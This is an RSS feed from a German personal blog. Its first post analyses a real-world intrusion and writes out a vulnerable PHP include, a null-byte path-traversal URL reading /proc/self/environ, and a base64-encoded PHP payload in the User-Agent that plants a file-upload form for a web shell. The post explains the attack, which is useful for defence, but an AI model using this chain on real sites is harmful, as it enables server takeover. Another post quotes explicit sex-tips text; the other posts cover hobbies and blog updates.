elsobrino.org - Jannos Blog http://blog.elsobrino.org Ich lass mir noch nen tollen Titel einfallen! Fri, 02 Jul 2010 13:39:58 +0000 en hourly 1 http://wordpress.org/?v=3.2.1 Kreativer Hack http://blog.elsobrino.org/2010/07/02/kreativer-hack/#utm_source=feed&utm_medium=feed&utm_campaign=feed http://blog.elsobrino.org/2010/07/02/kreativer-hack/#comments Fri, 02 Jul 2010 09:35:17 +0000 Janno http://blog.elsobrino.org/?p=72 Heute ist mir auf der Arbeit ein sehr kreativer Hack untergekommen – also mal nicht der übliche 0815 Kram.

Zunächst ein bisschen Linux Grundwissen: In /proc/process-id gibt es zu jedem laufenden Prozess Informationen über die Umgebung des Prozesses. In der Datei environ in diesem Verzeichnis befinden sich alle Umgebungsvariablen des jeweiligen Prozesses. Außerdem kann jeder Prozess sein eigenes Environment über /proc/self/ erreichen. Für einen normalen PHP-Request sieht das ganze dann ungefähr so aus (merkt euch schon mal, dass hier auch der User Agent also die Kennung des Browsers enthalten ist ;) ):

PATH=/usr/local/bin:/usr/bin:/bin
PHPRCDOCUMENT_ROOT=/Document/Root/
HTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
HTTP_ACCEPT_CHARSET=ISO-8859-1,utf-8;q=0.7,*;q=0.7
HTTP_ACCEPT_ENCODING=gzip,deflate
HTTP_ACCEPT_LANGUAGE=de,en-us;q=0.7,en;q=0.3
HTTP_CONNECTION=keep-alive
HTTP_HOST=www.example.org
HTTP_KEEP_ALIVE=115
HTTP_USER_AGENT=Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin
REDIRECT_STATUS=200
REDIRECT_URL=/test.php
REMOTE_ADDR=10.10.10.10
REMOTE_PORT=58628
SCRIPT_FILENAME=/Pfad/zum/php-cgi/Binary/php-cgi
SERVER_ADDR=10.11.10.10
SERVER_ADMIN=webmaster@example.org
SERVER_NAME=www.example.org
SERVER_PORT=80
SERVER_SIGNATURE=<ADDRESS>Apache/1.3.37 Server at www.example.org Port 80</ADDRESS>
SERVER_SOFTWARE=Apache
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
QUERY_STRING=
REQUEST_URI=/test.php
SCRIPT_NAME=/php5_Handler/php
PATH_INFO=/test.php
PATH_TRANSLATED=/Document/Root/test.php
PHPRC=

Nun wollen wir uns einen Teil der Programmierung des Opfers ansehen. Er hat da in etwas sowas gemacht:

<?php include($pagefolder.$variable.".php"); ?>

Ein legitimer Aufruf der Seite war also http://www.example.org/?variable=admin. Bei diesem Aufruf würde dann die Datei admin.php im Verzeichnis $pagefolder eingebunden.

$variable hat er sich aus dem Request der Seite gezogen und nur unzureichend verifiziert in dem er geschaut hat ob die Datei existiert. Dadurch ließen sich prinzipiell alle Dateien einbinden auf die der User Lese-Zugriff hatte, da man die, von der Programmierung vorgegebene, Dateiendung .php umgehen konnte in dem man am Ende des Dateinamens in der URL die Zeichenfolge %00 also einen null character gesetzt hat.

Es war also auch möglich die am Anfang genannte Datei in /proc durch folgenden Aufruf einzubinden.

http://www.example.org/?variable=../../../../../../../../../../../../../../../../../../../../proc/self/environ

Der Inhalt dieser Datei wurde nun innerhalb des normalen Layouts der Seite ausgegeben und, da das Einbinden innerhalb einer PHP-Datei erfolgte, vom PHP Interpreter ausgeführt. Wenn man also nun irgend wie PHP-Code in diese Datei einschleusen könnte, würde dieser ausgeführt werden.

Auf den ersten Blick scheint es nicht möglich PHP-Code in die Datei /proc/self/environ einzuschmuggeln. Wie oben beschrieben enthält sie jedoch auch die Kennung des Browsers, welche vom Client ohne größere Probleme individuell gesetzt werden kann. Und so ist auch der Angreifer in dem vorliegenden Fall vorgegangen. Er hat seine Browserkennung wie folgt gesetzt.

"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) <?
eval(base64_decode("ZWNobyAnPGRpdj48Zm9ybSBlbmN0eXBlPSJtdWx0aXB
hcnQvZm9ybS1kYXRhIiBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJmaWxlIi
BuYW1lPSJmaWxlIj48aW5wdXQgdHlwZT1zdWJtaXQgICB2YWx1ZT0iVXBsb2FkI
j48L2Zvcm0+PC9kaXY+JztpZiAoaXNzZXQgKCRfRklMRVNbJ2ZpbGUnXVsndG1w
X25hbWUnXSkpeyAkdGVtcG5hbWUgPSAkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1
lJ107ICRuYW1lID0gJF9GSUxFU1snZmlsZSddWyduYW1lJ107IGlmKGNvcHkoIi
R0ZW1wbmFtZSIsICIkbmFtZSIpKXsgZWNobyAiRmlsZSB1cGxvYWRlZCI7IH0gZ
WxzZSB7IGVjaG8gIkZpbGUgbm90IHVwbG9hZGVkISI7IH0gfQ==")); ?>
Gecko/20090729 Firefox/3.5.2"

Der Base64 kodierte Teil enthält ein Upload-Formular über das der Angreifer am Ende eine PHP-Shell hochgeladen hat und somit Zugriff auf den kompletten Webspace des Opfers hatte.

]]> http://blog.elsobrino.org/2010/07/02/kreativer-hack/feed/ 2 Aua, das tut weh! http://blog.elsobrino.org/2010/02/20/aua-das-tut-weh/#utm_source=feed&utm_medium=feed&utm_campaign=feed http://blog.elsobrino.org/2010/02/20/aua-das-tut-weh/#comments Sat, 20 Feb 2010 21:29:32 +0000 Janno http://blog.elsobrino.org/?p=64 Die Online-Ausgabe der Bild-Zeitung hat heute unter der Überschrift “Fingersex – Diese Handgriffe machen SIE verrückt” einen Artikel veröffentlicht, der beschreiben soll wie Mann eine Frau richtig mit den Fingern verwöhnt. Dabei scheint der Autor oder die Autorin ein bisschen mit den Begrifflichkeiten durcheinander gekommen zu sein. Die vorgeschlagene Vorgehensweise wird wohl mit Sicherheit mit dem Satz “Aua, das tut weh.” quittiert.

Fingersex im Stehen – bitte nicht reinbohren!
Nach einem harten Tag im Büro gelüstet es Ihnen nach einem Quickie im Korridor. Sie pressen Schatzi an die Wand, knutschen wie ausgehungert. Dann: Angriff aufs heiße Nasse. Nicht wild herumdrücken. Das könnte mit einem „Aua, das tut weh“ beantwortet werden. Oder sie zieht sogar beleidigt das Höschen wieder hoch. Tipp: Streicheln Sie sanft an ihren Schamlippen auf und ab, tauchen Sie dann vorsichtig mit einem Finger in die Klitoris ein, drücken Sie leicht mit dem Daumen an ihrem Kitzler.

Der Artikel ist hier zu finden

]]> http://blog.elsobrino.org/2010/02/20/aua-das-tut-weh/feed/ 0 Lego Mindstorms http://blog.elsobrino.org/2010/02/20/lego-mindstorms/#utm_source=feed&utm_medium=feed&utm_campaign=feed http://blog.elsobrino.org/2010/02/20/lego-mindstorms/#comments Sat, 20 Feb 2010 20:33:47 +0000 Janno http://blog.elsobrino.org/?p=59 Ich bin gestern über ein ziemlich cooles Lego Mindstorms Projekt gestolpert. Bei dem jemand einen Roboter gebaut hat, der jeden beliebigen Rubik Cube (aka Zauberwürfel) lösen kann. Im folgenden Video ist das Ding in Action zu sehen. Mich hats jedenfalls beeindruckt ;)

Der Cubestormer soll jeden Würfel in unter 12 Sekunden lösen können. Im Vergleich einmal der Weltrekord eines Menschen, der bei 7,08 Sekunden liegt.

]]> http://blog.elsobrino.org/2010/02/20/lego-mindstorms/feed/ 0 No sound in Firefox on Ubuntu http://blog.elsobrino.org/2010/02/20/no-sound-in-firefox-on-ubuntu/#utm_source=feed&utm_medium=feed&utm_campaign=feed http://blog.elsobrino.org/2010/02/20/no-sound-in-firefox-on-ubuntu/#comments Sat, 20 Feb 2010 20:10:47 +0000 Janno http://blog.elsobrino.org/?p=51 For some reason I had no sound in Firefox under Ubuntu 9.04 after upgrading from 8.04 and 8.10. In all other applications the sound worked without any problems. After some research I found that the package flashplugin-nonfree-extrasound fixes the issue. You can install it with the following command.

sudo aptitude install flashplugin-nonfree-extrasound

Hope this helps someone out there.

]]> http://blog.elsobrino.org/2010/02/20/no-sound-in-firefox-on-ubuntu/feed/ 0 Neue Kamera http://blog.elsobrino.org/2009/12/11/neue-kamera/#utm_source=feed&utm_medium=feed&utm_campaign=feed http://blog.elsobrino.org/2009/12/11/neue-kamera/#comments Fri, 11 Dec 2009 19:10:02 +0000 Janno http://blog.elsobrino.org/?p=49 Ich habe schon seit längerem mit dem Gedanken gespielt mir eine Nikon D90 zu kaufen. Die D90 ist aktuell das Top-Modell unter den Consumer-Kameras von Nikon. Für mich war sie vor allem interessant, weil sie meiner D40x von der Haptik her deutlich überlegen ist und damit diverse Einstellungen usw. einfacher von der Hand gehen. Natürlich ist die D90 der D40x auch in diversen anderen Disziplinen überlegen. So kann sie zum Beispiel auch Videos in HD-Ready Qualität aufnehmen.

Am Wochenende habe ich die Kamera als Kit mit dem Nikkor 18-105 VR kurzfristig bei eBay zu einem anständigen Preis ersteigert – 8 Monate alt und etwa 20% unter dem aktuellen Straßenpreis. So bald das Wetter es zuläßt werde ich mich mit der Kamera mal in die Natur begeben und dann auch hier ein paar Fotos veröffentlichen.

Außerdem hab ich im Moment auch noch ein paar Ideen für ein Makro-Projekt, aber dafür muss ich noch ein bisschen Zubehör kaufen. Mal schauen, ob ich es dieses Jahr noch durchgeführt kriege.

Nochmal kurz in eigener Sache: Möchte zufällig jemand eine Nikon D40x mit dem 18-135 Kit-Objektiv kaufen? Ich hätte da etwas an der Hand ;)

]]> http://blog.elsobrino.org/2009/12/11/neue-kamera/feed/ 0 Neues Theme http://blog.elsobrino.org/2009/11/20/neues-theme/#utm_source=feed&utm_medium=feed&utm_campaign=feed http://blog.elsobrino.org/2009/11/20/neues-theme/#comments Thu, 19 Nov 2009 22:01:09 +0000 Janno http://blog.elsobrino.org/?p=45 Ich habe nun doch nochmal das Theme der Seite geändert. Das Theme gefällt mir vor allem wegen seiner Schlichtheit und ergänzt sich ganz gut mit dem neu installierten NextGen-Gallery Plugin.

Werd jetzt auch mal wieder versuchen ein bisschen mehr von mir hören zu lassen.

]]> http://blog.elsobrino.org/2009/11/20/neues-theme/feed/ 0 Wildpark Lüneburger Heide http://blog.elsobrino.org/2009/10/19/wildpark-luneburger-heide/#utm_source=feed&utm_medium=feed&utm_campaign=feed http://blog.elsobrino.org/2009/10/19/wildpark-luneburger-heide/#comments Mon, 19 Oct 2009 21:53:12 +0000 Janno http://blog.elsobrino.org/?p=40 Am 14.10.2009 waren Dani und ich im Wildpark Lüneburger Heide in Nindorf mit den Zielen:

  • Das Wetter genießen.
  • Schöne Zeit zusammen verbringen bis Dani nach Australien fliegt.
  • Meine neue Kamera-Ausrüstung ausprobieren.

Alle drei Punkte können als erfolgreich abgehakt werden! Allerdings läßt die Qualität der gemachten Bilder im Moment teilweise noch ein bisschen zu wünschen übrig. Da muss ich wohl noch fleißig üben bis ich nach Australien fliege ;)

Eine kleine Auswahl der besten Bilder findet ihr unten.

]]> http://blog.elsobrino.org/2009/10/19/wildpark-luneburger-heide/feed/ 0 Theme http://blog.elsobrino.org/2009/10/08/theme/#utm_source=feed&utm_medium=feed&utm_campaign=feed http://blog.elsobrino.org/2009/10/08/theme/#comments Thu, 08 Oct 2009 16:59:02 +0000 Janno http://blog.elsobrino.org/?p=16 Wie ihr sehen könnt, habe ich schon relativ schnell ein Theme gefunden, das mir gefällt. Vor allem gefällt mir die kleine Bildergalerie oben rechts. Im Moment sind dort leider noch keine Bilder von mir zusehen, aber ich werde versuchen in meinem Urlaub in den nächsten zwei Wochen mal ein paar brauchbare Fotos zu machen und die dort oben dann durchlaufen zu lassen.

Im Hintergrund greift die Galerie auf Picasa bzw. Flickr zu. Bisher habe ich überhaupt noch keine Erfahrungen mit den beiden Anwendungen. Daher wäre ich sehr dankbar, wenn mir jemand erklären/sagen könnte welche die bessere Online-Galerie ist respektive was die generellen Unterschiede zwischen den beiden sind. :)

]]> http://blog.elsobrino.org/2009/10/08/theme/feed/ 2 Phishing vs. Fisting http://blog.elsobrino.org/2009/10/08/phishing-vs-fisting/#utm_source=feed&utm_medium=feed&utm_campaign=feed http://blog.elsobrino.org/2009/10/08/phishing-vs-fisting/#comments Thu, 08 Oct 2009 12:21:58 +0000 Janno http://blog.elsobrino.org/?p=9 Man sollte die Begrifflichkeiten schon auseinander halten können! :D

]]> http://blog.elsobrino.org/2009/10/08/phishing-vs-fisting/feed/ 0 Neues vom Alten http://blog.elsobrino.org/2009/10/07/neues-vom-alten/#utm_source=feed&utm_medium=feed&utm_campaign=feed http://blog.elsobrino.org/2009/10/07/neues-vom-alten/#comments Wed, 07 Oct 2009 16:39:56 +0000 Janno http://blog.elsobrino.org/?p=3 Aloa,

wie ihr seht passiert hier mal wieder etwas. Im Moment zwar noch im langweiligen Standard-Wordpress-Look, aber das wird sich zeitnah ändern. Mal schauen, ob ich ein ansprechendes Theme finde oder ob mich mal selber am Coden eines WordPress-Themes versuchen werde.

Ich werde versuchen diesmal ein bisschen fleißiger und längerfristiger hier zu posten als beim letzten Versuch! ;)

Man liest sich!

Janno aka elsobrino

]]> http://blog.elsobrino.org/2009/10/07/neues-vom-alten/feed/ 0